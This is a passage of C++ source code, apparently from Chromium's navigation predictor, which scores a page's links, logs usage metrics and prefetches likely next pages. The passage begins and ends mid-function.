area_rank_scale_(base::GetFieldTrialParamByFeatureAsInt(\n          blink::features::kNavigationPredictor,\n          \"area_rank_scale\",\n          100)),\n      ratio_distance_root_top_scale_(base::GetFieldTrialParamByFeatureAsInt(\n          blink::features::kNavigationPredictor,\n          \"ratio_distance_root_top_scale\",\n          0)),\n      link_total_scale_(base::GetFieldTrialParamByFeatureAsInt(\n          blink::features::kNavigationPredictor,\n          \"link_total_scale\",\n          0)),\n      iframe_link_total_scale_(base::GetFieldTrialParamByFeatureAsInt(\n          blink::features::kNavigationPredictor,\n          \"iframe_link_total_scale\",\n          0)),\n      increment_link_total_scale_(base::GetFieldTrialParamByFeatureAsInt(\n          blink::features::kNavigationPredictor,\n          \"increment_link_total_scale\",\n          0)),\n      same_origin_link_total_scale_(base::GetFieldTrialParamByFeatureAsInt(\n          blink::features::kNavigationPredictor,\n          \"same_origin_link_total_scale\",\n          0)),\n      image_link_total_scale_(base::GetFieldTrialParamByFeatureAsInt(\n          blink::features::kNavigationPredictor,\n          \"image_link_total_scale\",\n          0)),\n      clickable_space_scale_(base::GetFieldTrialParamByFeatureAsInt(\n          blink::features::kNavigationPredictor,\n          \"clickable_space_scale\",\n          0)),\n      median_link_location_scale_(base::GetFieldTrialParamByFeatureAsInt(\n          blink::features::kNavigationPredictor,\n          \"median_link_location_scale\",\n          0)),\n      viewport_height_scale_(base::GetFieldTrialParamByFeatureAsInt(\n          blink::features::kNavigationPredictor,\n          \"viewport_height_scale\",\n          0)),\n      viewport_width_scale_(base::GetFieldTrialParamByFeatureAsInt(\n          blink::features::kNavigationPredictor,\n          \"viewport_width_scale\",\n          0)),\n      sum_link_scales_(ratio_area_scale_ + is_in_iframe_scale_ +\n                       is_same_host_scale_ + contains_image_scale_ +\n                       is_url_incremented_scale_ + area_rank_scale_ +\n                       ratio_distance_root_top_scale_),\n      sum_page_scales_(link_total_scale_ + iframe_link_total_scale_ +\n                       increment_link_total_scale_ +\n                       same_origin_link_total_scale_ + image_link_total_scale_ +\n                       clickable_space_scale_ + median_link_location_scale_ +\n                       viewport_height_scale_ + viewport_width_scale_),\n      is_low_end_device_(base::SysInfo::IsLowEndDevice()),\n      prefetch_url_score_threshold_(base::GetFieldTrialParamByFeatureAsInt(\n          blink::features::kNavigationPredictor,\n          \"prefetch_url_score_threshold\",\n          0)),\n      prefetch_enabled_(base::GetFieldTrialParamByFeatureAsBool(\n          blink::features::kNavigationPredictor,\n          \"prefetch_after_preconnect\",\n          false)),\n      normalize_navigation_scores_(base::GetFieldTrialParamByFeatureAsBool(\n          blink::features::kNavigationPredictor,\n          \"normalize_scores\",\n          true)) {\n  DCHECK(browser_context_);\n  DETACH_FROM_SEQUENCE(sequence_checker_);\n\n  if (browser_context_->IsOffTheRecord())\n    return;\n\n  ukm_recorder_ = ukm::UkmRecorder::Get();\n\n  current_visibility_ = web_contents->GetVisibility();\n  ukm_source_id_ = web_contents->GetMainFrame()->GetPageUkmSourceId();\n  Observe(web_contents);\n}\n\nNavigationPredictor::~NavigationPredictor() {\n  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n  Observe(nullptr);\n\n  if (no_state_prefetch_handle_) {\n    no_state_prefetch_handle_->SetObserver(nullptr);\n    no_state_prefetch_handle_->OnNavigateAway();\n  }\n}\n\nvoid NavigationPredictor::Create(\n    content::RenderFrameHost* render_frame_host,\n    mojo::PendingReceiver<blink::mojom::AnchorElementMetricsHost> receiver) {\n  DCHECK(base::FeatureList::IsEnabled(blink::features::kNavigationPredictor));\n\n  // Only valid for the main frame.\n  if (render_frame_host->GetParent())\n    return;\n\n  content::WebContents* web_contents =\n      content::WebContents::FromRenderFrameHost(render_frame_host);\n  if (!web_contents)\n    return;\n\n  mojo::MakeSelfOwnedReceiver(\n      std::make_unique<NavigationPredictor>(web_contents), std::move(receiver));\n}\n\nbool NavigationPredictor::IsValidMetricFromRenderer(\n    const blink::mojom::AnchorElementMetrics& metric) const {\n  return metric.target_url.SchemeIsHTTPOrHTTPS() &&\n         metric.source_url.SchemeIsHTTPOrHTTPS();\n}\n\nvoid NavigationPredictor::RecordActionAccuracyOnClick(\n    const GURL& target_url) const {\n  // We don't pre-render default search engine at all, so measuring metrics here\n  // doesn't make sense.\n  if (source_is_default_search_engine_page_)\n    return;\n\n  bool is_cross_origin =\n      url::Origin::Create(document_url_) != url::Origin::Create(target_url);\n\n  auto prefetch_result = is_cross_origin ? PrerenderResult::kCrossOriginNotSeen\n                                         : PrerenderResult::kSameOriginNotSeen;\n\n  if ((prefetch_url_ && prefetch_url_.value() == target_url) ||\n      base::Contains(partial_prerfetches_, target_url)) {\n    prefetch_result = PrerenderResult::kSameOriginPrefetchPartiallyComplete;\n  } else if (base::Contains(urls_prefetched_, target_url)) {\n    prefetch_result = PrerenderResult::kSameOriginPrefetchFinished;\n  } else if (std::find(urls_to_prefetch_.begin(), urls_to_prefetch_.end(),\n                       target_url) != urls_to_prefetch_.end()) {\n    prefetch_result = PrerenderResult::kSameOriginPrefetchInQueue;\n  } else if (!is_cross_origin &&\n             base::Contains(urls_above_threshold_, target_url)) {\n    prefetch_result = PrerenderResult::kSameOriginPrefetchSkipped;\n  } else if (base::Contains(urls_above_threshold_, target_url)) {\n    prefetch_result = PrerenderResult::kCrossOriginAboveThreshold;\n  } else if (!is_cross_origin &&\n             base::Contains(navigation_scores_map_, target_url.spec())) {\n    prefetch_result = PrerenderResult::kSameOriginBelowThreshold;\n  } else if (base::Contains(navigation_scores_map_, target_url.spec())) {\n    prefetch_result = PrerenderResult::kCrossOriginBelowThreshold;\n  }\n\n  UMA_HISTOGRAM_ENUMERATION(\"NavigationPredictor.LinkClickedPrerenderResult\",\n                            prefetch_result);\n}\n\nvoid NavigationPredictor::RecordActionAccuracyOnTearDown() {\n  auto document_origin = url::Origin::Create(document_url_);\n  int cross_origin_urls_above_threshold =\n      std::count_if(urls_above_threshold_.begin(), urls_above_threshold_.end(),\n                    [document_origin](const GURL& url) {\n                      return document_origin != url::Origin::Create(url);\n                    });\n\n  UMA_HISTOGRAM_COUNTS_100(\"NavigationPredictor.CountOfURLsAboveThreshold\",\n                           urls_above_threshold_.size());\n\n  UMA_HISTOGRAM_COUNTS_100(\n      \"NavigationPredictor.CountOfURLsAboveThreshold.CrossOrigin\",\n      cross_origin_urls_above_threshold);\n\n  UMA_HISTOGRAM_COUNTS_100(\n      \"NavigationPredictor.CountOfURLsAboveThreshold.SameOrigin\",\n      urls_above_threshold_.size() - cross_origin_urls_above_threshold);\n\n  int cross_origin_urls_above_threshold_in_top_n = std::count_if(\n      urls_above_threshold_.begin(),\n      urls_above_threshold_.begin() +\n          std::min(urls_above_threshold_.size(),\n                   static_cast<size_t>(base::GetFieldTrialParamByFeatureAsInt(\n                       kNavigationPredictorMultiplePrerenders,\n                       \"prerender_limit\", 1))),\n      [document_origin](const GURL& url) {\n        return document_origin != url::Origin::Create(url);\n      });\n\n  int same_origin_urls_above_threshold_in_top_n =\n      std::min(\n          static_cast<size_t>(base::GetFieldTrialParamByFeatureAsInt(\n              kNavigationPredictorMultiplePrerenders, \"prerender_limit\", 1)),\n          urls_above_threshold_.size()) -\n      cross_origin_urls_above_threshold_in_top_n;\n\n  UMA_HISTOGRAM_COUNTS_100(\n      \"NavigationPredictor.CountOfURLsInPredictedSet.CrossOrigin\",\n      cross_origin_urls_above_threshold_in_top_n);\n  UMA_HISTOGRAM_COUNTS_100(\n      \"NavigationPredictor.CountOfURLsInPredictedSet.SameOrigin\",\n      same_origin_urls_above_threshold_in_top_n);\n  UMA_HISTOGRAM_COUNTS_100(\"NavigationPredictor.CountOfURLsInPredictedSet\",\n                           cross_origin_urls_above_threshold_in_top_n +\n                               same_origin_urls_above_threshold_in_top_n);\n\n  UMA_HISTOGRAM_COUNTS_100(\"NavigationPredictor.CountOfStartedPrerenders\",\n                           urls_prefetched_.size());\n}\n\nvoid NavigationPredictor::OnVisibilityChanged(content::Visibility visibility) {\n  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n\n  if (current_visibility_ == visibility)\n    return;\n\n  // Check if the visibility changed from VISIBLE to HIDDEN. Since navigation\n  // predictor is currently restricted to Android, it is okay to disregard the\n  // occluded state.\n  if (current_visibility_ != content::Visibility::HIDDEN ||\n      visibility != content::Visibility::VISIBLE) {\n    current_visibility_ = visibility;\n\n    if (no_state_prefetch_handle_) {\n      no_state_prefetch_handle_->SetObserver(nullptr);\n      no_state_prefetch_handle_->OnNavigateAway();\n      no_state_prefetch_handle_.reset();\n      partial_prerfetches_.emplace(prefetch_url_.value());\n      prefetch_url_ = base::nullopt;\n    }\n    return;\n  }\n\n  current_visibility_ = visibility;\n\n  MaybePrefetch();\n}\n\nvoid NavigationPredictor::DidStartNavigation(\n    content::NavigationHandle* navigation_handle) {\n  if (!navigation_handle->IsInMainFrame() ||\n      navigation_handle->IsSameDocument()) {\n    return;\n  }\n\n  if (next_navigation_started_)\n    return;\n\n  RecordActionAccuracyOnTearDown();\n\n  // Don't start new prerenders.\n  next_navigation_started_ = true;\n\n  // If there is no ongoing prerender, there is nothing to do.\n  if (!prefetch_url_.has_value())\n    return;\n\n  // Let the prerender continue if it matches the navigation URL.\n  if (navigation_handle->GetURL() == prefetch_url_.value())\n    return;\n\n  if (!no_state_prefetch_handle_)\n    return;\n\n  // Stop prerender to reduce network contention during main frame fetch.\n  no_state_prefetch_handle_->SetObserver(nullptr);\n  no_state_prefetch_handle_->OnNavigateAway();\n  no_state_prefetch_handle_.reset();\n  partial_prerfetches_.emplace(prefetch_url_.value());\n  prefetch_url_ = base::nullopt;\n}\n\nvoid NavigationPredictor::RecordAction(Action log_action) {\n  std::string action_histogram_name =\n      source_is_default_search_engine_page_\n          ? \"NavigationPredictor.OnDSE.ActionTaken\"\n          : \"NavigationPredictor.OnNonDSE.ActionTaken\";\n  base::UmaHistogramEnumeration(action_histogram_name, log_action);\n}\n\nvoid NavigationPredictor::MaybeSendMetricsToUkm() const {\n  if (!ukm_recorder_) {\n    return;\n  }\n\n  ukm::builders::NavigationPredictorPageLinkMetrics page_link_builder(\n      ukm_source_id_);\n\n  page_link_builder.SetNumberOfAnchors_Total(\n      GetBucketMinForPageMetrics(number_of_anchors_));\n  page_link_builder.SetNumberOfAnchors_SameHost(\n      GetBucketMinForPageMetrics(number_of_anchors_same_host_));\n  page_link_builder.SetNumberOfAnchors_ContainsImage(\n      GetBucketMinForPageMetrics(number_of_anchors_contains_image_));\n  page_link_builder.SetNumberOfAnchors_InIframe(\n      GetBucketMinForPageMetrics(number_of_anchors_in_iframe_));\n  page_link_builder.SetNumberOfAnchors_URLIncremented(\n      GetBucketMinForPageMetrics(number_of_anchors_url_incremented_));\n  page_link_builder.SetTotalClickableSpace(\n      GetBucketMinForPageMetrics(static_cast<int>(total_clickable_space_)));\n  page_link_builder.SetMedianLinkLocation(\n      GetLinearBucketForLinkLocation(median_link_location_));\n  page_link_builder.SetViewport_Height(\n      GetBucketMinForPageMetrics(viewport_size_.height()));\n  page_link_builder.SetViewport_Width(\n      GetBucketMinForPageMetrics(viewport_size_.width()));\n\n  page_link_builder.Record(ukm_recorder_);\n\n  for (const auto& navigation_score_tuple : navigation_scores_map_) {\n    const auto& navigation_score = navigation_score_tuple.second;\n    ukm::builders::NavigationPredictorAnchorElementMetrics\n        anchor_element_builder(ukm_source_id_);\n\n    // Offset index to be 1-based indexing.\n    anchor_element_builder.SetAnchorIndex(navigation_score->index);\n    anchor_element_builder.SetIsInIframe(navigation_score->is_in_iframe);\n    anchor_element_builder.SetIsURLIncrementedByOne(\n        navigation_score->is_url_incremented_by_one);\n    anchor_element_builder.SetContainsImage(navigation_score->contains_image);\n    anchor_element_builder.SetSameOrigin(\n        url::Origin::Create(navigation_score->url) ==\n        url::Origin::Create(document_url_));\n\n    // Convert the ratio area and ratio distance from [0,1] to [0,100].\n    int percent_ratio_area =\n        static_cast<int>(navigation_score->ratio_area * 100);\n    int percent_ratio_distance_root_top =\n        static_cast<int>(navigation_score->ratio_distance_root_top * 100);\n\n    anchor_element_builder.SetPercentClickableArea(\n        GetLinearBucketForRatioArea(percent_ratio_area));\n    anchor_element_builder.SetPercentVerticalDistance(\n        GetLinearBucketForLinkLocation(percent_ratio_distance_root_top));\n\n    anchor_element_builder.Record(ukm_recorder_);\n  }\n}\n\nint NavigationPredictor::GetBucketMinForPageMetrics(int value) const {\n  return ukm::GetExponentialBucketMin(value, 1.3);\n}\n\nint NavigationPredictor::GetLinearBucketForLinkLocation(int value) const {\n  return ukm::GetLinearBucketMin(static_cast<int64_t>(value), 10);\n}\n\nint NavigationPredictor::GetLinearBucketForRatioArea(int value) const {\n  return ukm::GetLinearBucketMin(static_cast<int64_t>(value), 5);\n}\n\nvoid NavigationPredictor::MaybeSendClickMetricsToUkm(\n    const std::string& clicked_url) const {\n  if (!ukm_recorder_) {\n    return;\n  }\n\n  if (clicked_count_ > 10)\n    return;\n\n  auto nav_score = navigation_scores_map_.find(clicked_url);\n\n  int anchor_element_index = (nav_score == navigation_scores_map_.end())\n                                 ? 0\n                                 : nav_score->second->index;\n\n  ukm::builders::NavigationPredictorPageLinkClick builder(ukm_source_id_);\n  builder.SetAnchorElementIndex(anchor_element_index);\n  builder.Record(ukm_recorder_);\n}\n\nTemplateURLService* NavigationPredictor::GetTemplateURLService() const {\n  return TemplateURLServiceFactory::GetForProfile(\n      Profile::FromBrowserContext(browser_context_));\n}\n\nvoid NavigationPredictor::ReportAnchorElementMetricsOnClick(\n    blink::mojom::AnchorElementMetricsPtr metrics) {\n  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n  DCHECK(base::FeatureList::IsEnabled(blink::features::kNavigationPredictor));\n\n  if (browser_context_->IsOffTheRecord())\n    return;\n\n  if (!IsValidMetricFromRenderer(*metrics)) {\n    mojo::ReportBadMessage(\"Bad anchor element metrics: onClick.\");\n    return;\n  }\n\n  source_is_default_search_engine_page_ =\n      GetTemplateURLService() &&\n      GetTemplateURLService()->IsSearchResultsPageFromDefaultSearchProvider(\n          metrics->source_url);\n  if (!metrics->source_url.SchemeIsCryptographic() ||\n      !metrics->target_url.SchemeIsCryptographic()) {\n    return;\n  }\n\n  clicked_count_++;\n\n  document_url_ = metrics->source_url;\n\n  RecordActionAccuracyOnClick(metrics->target_url);\n  MaybeSendClickMetricsToUkm(metrics->target_url.spec());\n\n  // Look up the clicked URL in |navigation_scores_map_|. Record if we find it.\n  auto iter = navigation_scores_map_.find(metrics->target_url.spec());\n  if (iter == navigation_scores_map_.end())\n    return;\n\n\n  // Guaranteed to be non-zero since we have found the clicked link in\n  // |navigation_scores_map_|.\n  DCHECK_LT(0, number_of_anchors_);\n\n  if (source_is_default_search_engine_page_) {\n    UMA_HISTOGRAM_BOOLEAN(\"AnchorElementMetrics.Clicked.OnDSE.SameHost\",\n                          metrics->is_same_host);\n  } else {\n    UMA_HISTOGRAM_BOOLEAN(\"AnchorElementMetrics.Clicked.OnNonDSE.SameHost\",\n                          metrics->is_same_host);\n  }\n}\n\nvoid NavigationPredictor::MergeMetricsSameTargetUrl(\n    std::vector<blink::mojom::AnchorElementMetricsPtr>* metrics) const {\n  // Maps from target url (href) to anchor element metrics from renderer.\n  std::unordered_map<std::string, blink::mojom::AnchorElementMetricsPtr>\n      metrics_map;\n\n  // This size reserve is aggressive since |metrics_map| may contain fewer\n  // elements than metrics->size() after merge.\n  metrics_map.reserve(metrics->size());\n\n  for (auto& metric : *metrics) {\n    // Do not include anchor elements that point to the same URL as the URL of\n    // the current navigation since these are unlikely to be clicked. Also,\n    // exclude the anchor elements that differ from the URL of the current\n    // navigation by only the ref param.\n    if (AreGURLsEqualExcludingRefParams(metric->target_url,\n                                        metric->source_url)) {\n      continue;\n    }\n\n    if (!metric->target_url.SchemeIsCryptographic())\n      continue;\n\n    // Currently, all predictions are made based on elements that are within the\n    // main frame since it is unclear if we can pre* the target of the elements\n    // within iframes.\n    if (metric->is_in_iframe)\n      continue;\n\n    // Skip ref params when merging the anchor elements. This ensures that two\n    // anchor elements which differ only in the ref params are combined\n    // together.\n    const std::string& key = GetURLWithoutRefParams(metric->target_url);\n    auto iter = metrics_map.find(key);\n    if (iter == metrics_map.end()) {\n      metrics_map[key] = std::move(metric);\n    } else {\n      auto& prev_metric = iter->second;\n      prev_metric->ratio_area += metric->ratio_area;\n      prev_metric->ratio_visible_area += metric->ratio_visible_area;\n\n      // After merging, value of |ratio_area| can go beyond 1.0. This can\n      // happen, e.g., when there are 2 anchor elements pointing to the same\n      // target. The first anchor element occupies 90% of the viewport. The\n      // second one has size 0.8 times the viewport, and only part of it is\n      // visible in the viewport. In that case, |ratio_area| may be 1.7.\n      if (prev_metric->ratio_area > 1.0)\n        prev_metric->ratio_area = 1.0;\n      DCHECK_LE(0.0, prev_metric->ratio_area);\n      DCHECK_GE(1.0, prev_metric->ratio_area);\n\n      DCHECK_GE(1.0, prev_metric->ratio_visible_area);\n\n      // Position related metrics are tricky to merge. Another possible way to\n      // merge is simply add up the calculated navigation scores.\n      prev_metric->ratio_distance_root_top =\n          std::min(prev_metric->ratio_distance_root_top,\n                   metric->ratio_distance_root_top);\n      prev_metric->ratio_distance_root_bottom =\n          std::max(prev_metric->ratio_distance_root_bottom,\n                   metric->ratio_distance_root_bottom);\n      prev_metric->ratio_distance_top_to_visible_top =\n          std::min(prev_metric->ratio_distance_top_to_visible_top,\n                   metric->ratio_distance_top_to_visible_top);\n      prev_metric->ratio_distance_center_to_visible_top =\n          std::min(prev_metric->ratio_distance_center_to_visible_top,\n                   metric->ratio_distance_center_to_visible_top);\n\n      // Anchor element is not considered in an iframe as long as at least one\n      // of them is not in an iframe.\n      prev_metric->is_in_iframe =\n          prev_metric->is_in_iframe && metric->is_in_iframe;\n      prev_metric->contains_image =\n          prev_metric->contains_image || metric->contains_image;\n      DCHECK_EQ(prev_metric->is_same_host, metric->is_same_host);\n    }\n  }\n\n  metrics->clear();\n\n  if (metrics_map.empty())\n    return;\n\n  metrics->reserve(metrics_map.size());\n  for (auto& metric_mapping : metrics_map) {\n    metrics->push_back(std::move(metric_mapping.second));\n  }\n\n  DCHECK(!metrics->empty());\n  UMA_HISTOGRAM_COUNTS_100(\n      \"AnchorElementMetrics.Visible.NumberOfAnchorElementsAfterMerge\",\n      metrics->size());\n}\n\nvoid NavigationPredictor::ReportAnchorElementMetricsOnLoad(\n    std::vector<blink::mojom::AnchorElementMetricsPtr> metrics,\n    const gfx::Size& viewport_size) {\n  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);\n  DCHECK(base::FeatureList::IsEnabled(blink::features::kNavigationPredictor));\n\n  // Each document should only report metrics once when page is loaded.\n  DCHECK(navigation_scores_map_.empty());\n\n  if (browser_context_->IsOffTheRecord())\n    return;\n\n  if (metrics.empty()) {\n    mojo::ReportBadMessage(\"Bad anchor element metrics: empty.\");\n    return;\n  }\n\n  for (const auto& metric : metrics) {\n    if (!IsValidMetricFromRenderer(*metric)) {\n      mojo::ReportBadMessage(\"Bad anchor element metrics: onLoad.\");\n      return;\n    }\n  }\n\n  if (!metrics[0]->source_url.SchemeIsCryptographic())\n    return;\n\n  source_is_default_search_engine_page_ =\n      GetTemplateURLService() &&\n      GetTemplateURLService()->IsSearchResultsPageFromDefaultSearchProvider(\n          metrics[0]->source_url);\n  MergeMetricsSameTargetUrl(&metrics);\n\n  if (metrics.empty() || viewport_size.IsEmpty())\n    return;\n\n  number_of_anchors_ = metrics.size();\n  viewport_size_ = viewport_size;\n\n  // Count the number of anchors that have specific metrics.\n  std::vector<double> link_locations;\n  link_locations.reserve(metrics.size());\n\n  for (const auto& metric : metrics) {\n    number_of_anchors_same_host_ += static_cast<int>(metric->is_same_host);\n    number_of_anchors_contains_image_ +=\n        static_cast<int>(metric->contains_image);\n    number_of_anchors_in_iframe_ += static_cast<int>(metric->is_in_iframe);\n    number_of_anchors_url_incremented_ +=\n        static_cast<int>(metric->is_url_incremented_by_one);\n\n    link_locations.push_back(metric->ratio_distance_top_to_visible_top);\n    total_clickable_space_ += metric->ratio_visible_area * 100.0;\n  }\n\n  sort(link_locations.begin(), link_locations.end());\n  median_link_location_ = link_locations[link_locations.size() / 2] * 100;\n  double page_metrics_score = GetPageMetricsScore();\n\n  // Sort metric by area in descending order to get area rank, which is a\n  // derived feature to calculate navigation score.\n  std::sort(metrics.begin(), metrics.end(), [](const auto& a, const auto& b) {\n    return a->ratio_area > b->ratio_area;\n  });\n\n  // Loop |metrics| to compute navigation scores.\n  std::vector<std::unique_ptr<NavigationScore>> navigation_scores;\n  navigation_scores.reserve(metrics.size());\n  double total_score = 0.0;\n\n  std::vector<int> indices(metrics.size());\n  std::generate(indices.begin(), indices.end(),\n                [n = 1]() mutable { return n++; });\n\n  // Shuffle the indices to keep metrics less identifiable in UKM.\n  base::RandomShuffle(indices.begin(), indices.end());\n\n  for (size_t i = 0; i != metrics.size(); ++i) {\n    const auto& metric = metrics[i];\n\n    // Anchor elements with the same area are assigned with the same rank.\n    size_t area_rank = i;\n    if (i > 0 && metric->ratio_area == metrics[i - 1]->ratio_area)\n      area_rank = navigation_scores[navigation_scores.size() - 1]->area_rank;\n\n    double score =\n        CalculateAnchorNavigationScore(*metric, area_rank) + page_metrics_score;\n    total_score += score;\n\n    navigation_scores.push_back(std::make_unique<NavigationScore>(\n        metric->target_url, static_cast<double>(metric->ratio_area),\n        metric->is_url_incremented_by_one, area_rank, score,\n        metric->ratio_distance_root_top, metric->contains_image,\n        metric->is_in_iframe, indices[i]));\n  }\n\n  if (normalize_navigation_scores_) {\n    // Normalize |score| to a total sum of 100.0 across all anchor elements\n    // received.\n    if (total_score > 0.0) {\n      for (auto& navigation_score : navigation_scores) {\n        navigation_score->score = navigation_score->score / total_score * 100.0;\n      }\n    }\n  }\n\n  // Sort scores by the calculated navigation score in descending order. This\n  // score rank is used by MaybeTakeActionOnLoad, and stored in\n  // |navigation_scores_map_|.\n  std::sort(navigation_scores.begin(), navigation_scores.end(),\n            [](const auto& a, const auto& b) { return a->score > b->score; });\n\n  document_url_ = metrics[0]->source_url;\n  MaybeTakeActionOnLoad(document_url_, navigation_scores);\n\n  // Store navigation scores in |navigation_scores_map_| for fast look up upon\n  // clicks.\n  navigation_scores_map_.reserve(navigation_scores.size());\n  for (size_t i = 0; i != navigation_scores.size(); ++i) {\n    navigation_scores[i]->score_rank = base::make_optional(i);\n    std::string url_spec = navigation_scores[i]->url.spec();\n    navigation_scores_map_[url_spec] = std::move(navigation_scores[i]);\n  }\n\n  MaybeSendMetricsToUkm();\n}\n\ndouble NavigationPredictor::CalculateAnchorNavigationScore(\n    const blink::mojom::AnchorElementMetrics& metrics,\n    int area_rank) const {\n  DCHECK(!browser_context_->IsOffTheRecord());\n\n  if (sum_link_scales_ == 0)\n    return 0.0;\n\n  double area_rank_score =\n      (double)((number_of_anchors_ - area_rank)) / number_of_anchors_;\n\n  DCHECK_LE(0, metrics.ratio_visible_area);\n  DCHECK_GE(1, metrics.ratio_visible_area);\n\n  DCHECK_LE(0, metrics.is_in_iframe);\n  DCHECK_GE(1, metrics.is_in_iframe);\n\n  DCHECK_LE(0, metrics.is_same_host);\n  DCHECK_GE(1, metrics.is_same_host);\n\n  DCHECK_LE(0, metrics.contains_image);\n  DCHECK_GE(1, metrics.contains_image);\n\n  DCHECK_LE(0, metrics.is_url_incremented_by_one);\n  DCHECK_GE(1, metrics.is_url_incremented_by_one);\n\n  DCHECK_LE(0, area_rank_score);\n  DCHECK_GE(1, area_rank_score);\n\n  double host_score = 0.0;\n  // On pages from default search engine, give higher weight to target URLs that\n  // link to a different host. On non-default search engine pages, give higher\n  // weight to target URLs that link to the same host.\n  if (!source_is_default_search_engine_page_ && metrics.is_same_host) {\n    host_score = is_same_host_scale_;\n  } else if (source_is_default_search_engine_page_ && !metrics.is_same_host) {\n    host_score = is_same_host_scale_;\n  }\n\n  // TODO(chelu): https://crbug.com/850624/. Experiment with other heuristic\n  // algorithms for computing the anchor elements score.\n  double score =\n      (ratio_area_scale_ * GetLinearBucketForRatioArea(\n                               static_cast<int>(metrics.ratio_area * 100.0))) +\n      (metrics.is_in_iframe ? is_in_iframe_scale_ : 0.0) +\n      (metrics.contains_image ? contains_image_scale_ : 0.0) + host_score +\n      (metrics.is_url_incremented_by_one ? is_url_incremented_scale_ : 0.0) +\n      (area_rank_scale_ * area_rank_score) +\n      (ratio_distance_root_top_scale_ *\n       GetLinearBucketForLinkLocation(\n           static_cast<int>(metrics.ratio_distance_root_top * 100.0)));\n\n  if (normalize_navigation_scores_) {\n    score = score / sum_link_scales_ * 100.0;\n    DCHECK_LE(0.0, score);\n  }\n\n  return score;\n}\n\ndouble NavigationPredictor::GetPageMetricsScore() const {\n  if (sum_page_scales_ == 0.0) {\n    return 0;\n  } else {\n    DCHECK(!viewport_size_.IsEmpty());\n    return (link_total_scale_ *\n            GetBucketMinForPageMetrics(number_of_anchors_)) +\n           (iframe_link_total_scale_ *\n            GetBucketMinForPageMetrics(number_of_anchors_in_iframe_)) +\n           (increment_link_total_scale_ *\n            GetBucketMinForPageMetrics(number_of_anchors_url_incremented_)) +\n           (same_origin_link_total_scale_ *\n            GetBucketMinForPageMetrics(number_of_anchors_same_host_)) +\n           (image_link_total_scale_ *\n            GetBucketMinForPageMetrics(number_of_anchors_contains_image_)) +\n           (clickable_space_scale_ *\n            GetBucketMinForPageMetrics(total_clickable_space_)) +\n           (median_link_location_scale_ *\n            GetLinearBucketForLinkLocation(median_link_location_)) +\n           (viewport_width_scale_ *\n            GetBucketMinForPageMetrics(viewport_size_.width())) +\n           (viewport_height_scale_ *\n            GetBucketMinForPageMetrics(viewport_size_.height()));\n  }\n}\n\nvoid NavigationPredictor::NotifyPredictionUpdated(\n    const std::vector<std::unique_ptr<NavigationScore>>&\n        sorted_navigation_scores) {\n  // It is possible for this class to still exist while its WebContents and\n  // RenderFrameHost are being destroyed. This can be detected by checking\n  // |web_contents()| which will be nullptr if the WebContents has been\n  // destroyed.\n  if (!web_contents())\n    return;\n\n  NavigationPredictorKeyedService* service =\n      NavigationPredictorKeyedServiceFactory::GetForProfile(\n          Profile::FromBrowserContext(browser_context_));\n  DCHECK(service);\n  std::vector<GURL> top_urls;\n  top_urls.reserve(sorted_navigation_scores.size());\n  for (const auto& nav_score : sorted_navigation_scores) {\n    top_urls.push_back(nav_score->url);\n  }\n  service->OnPredictionUpdated(\n      web_contents(), document_url_,\n      NavigationPredictorKeyedService::PredictionSource::\n          kAnchorElementsParsedFromWebPage,\n      top_urls);\n}\n\nvoid NavigationPredictor::MaybeTakeActionOnLoad(\n    const GURL& document_url,\n    const std::vector<std::unique_ptr<NavigationScore>>&\n        sorted_navigation_scores) {\n  DCHECK(!browser_context_->IsOffTheRecord());\n\n  NotifyPredictionUpdated(sorted_navigation_scores);\n\n  // Try prefetch first.\n  urls_to_prefetch_ = GetUrlsToPrefetch(document_url, sorted_navigation_scores);\n  RecordAction(urls_to_prefetch_.empty() ? Action::kNone : Action::kPrefetch);\n  MaybePrefetch();\n}\n\nvoid NavigationPredictor::MaybePrefetch() {\n  // If prefetches aren't allowed here, this URL has already\n  // been prefetched, or the current tab is hidden,\n  // we shouldn't prefetch again.\n  if (!prefetch_enabled_ || urls_to_prefetch_.empty() ||\n      current_visibility_ == content::Visibility::HIDDEN) {\n    return;\n  }\n\n  // Already an on-going prefetch.\n  if (prefetch_url_.has_value())\n    return;\n\n  // Don't prefetch if the next navigation started.\n  if (next_navigation_started_)\n    return;\n\n  prerender::NoStatePrefetchManager* no_state_prefetch_manager =\n      prerender::NoStatePrefetchManagerFactory::GetForBrowserContext(\n          browser_context_);\n\n  if (no_state_prefetch_manager) {\n    GURL url_to_prefetch = urls_to_prefetch_.front();\n    urls_to_prefetch_.pop_front();\n    Prefetch(no_state_prefetch_manager, url_to_prefetch);\n  }\n}\n\nvoid NavigationPredictor::Prefetch(\n    prerender::NoStatePrefetchManager* no_state_prefetch_manager,\n    const GURL& url_to_prefetch) {\n  DCHECK(!no_state_prefetch_handle_);\n  DCHECK(!prefetch_url_);\n\n  // It is possible for this class to still exist while its WebContents and\n  // RenderFrameHost are being destroyed. This can be detected by checking\n  // |web_contents()| which will be nullptr if the WebContents has been\n  // destroyed.\n  if (!web_contents())\n    return;\n\n  content::SessionStorageNamespace* session_storage_namespace =\n      web_contents()->GetController().GetDefaultSessionStorageNamespace();\n  gfx::Size size = web_contents()->GetContainerBounds().size();\n\n  no_state_prefetch_handle_ =\n      no_state_prefetch_manager->AddPrerenderFromNavigationPredictor(\n          url_to_prefetch, session_storage_namespace, size);\n\n  // Prefetch was prevented for some reason, try next URL.\n  if (!no_state_prefetch_handle_) {\n    MaybePrefetch();\n    return;\n  }\n\n  prefetch_url_ = url_to_prefetch;\n  urls_prefetched_.emplace(url_to_prefetch);\n\n  no_state_prefetch_handle_->SetObserver(this);\n}\n\nvoid NavigationPredictor::OnPrefetchStop(\n    prerender::NoStatePrefetchHandle* handle) {\n  DCHECK_EQ(no_state_prefetch_handle_.get(), handle);\n  no_state_prefetch_handle_.reset();\n  prefetch_url_ = base::nullopt;\n\n  MaybePrefetch();\n}\n\nstd::deque<GURL> NavigationPredictor::GetUrlsToPrefetch(\n    const GURL& document_url,\n    const std::vector<std::unique_ptr<NavigationScore>>&\n        sorted_navigation_scores) {\n  urls_above_threshold_.clear();\n  std::deque<GURL> urls_to_prefetch;\n  // Currently, prefetch is disabled on low-end devices since prefetch may\n  // increase memory usage.\n  if (is_low_end_device_)\n    return urls_to_prefetch;\n\n  // On search engine results page, next navigation is likely to be a different\n  // origin. Currently, the prefetch is only allowed for same orgins. Hence,\n  // prefetch is currently disabled on search engine results page.\n 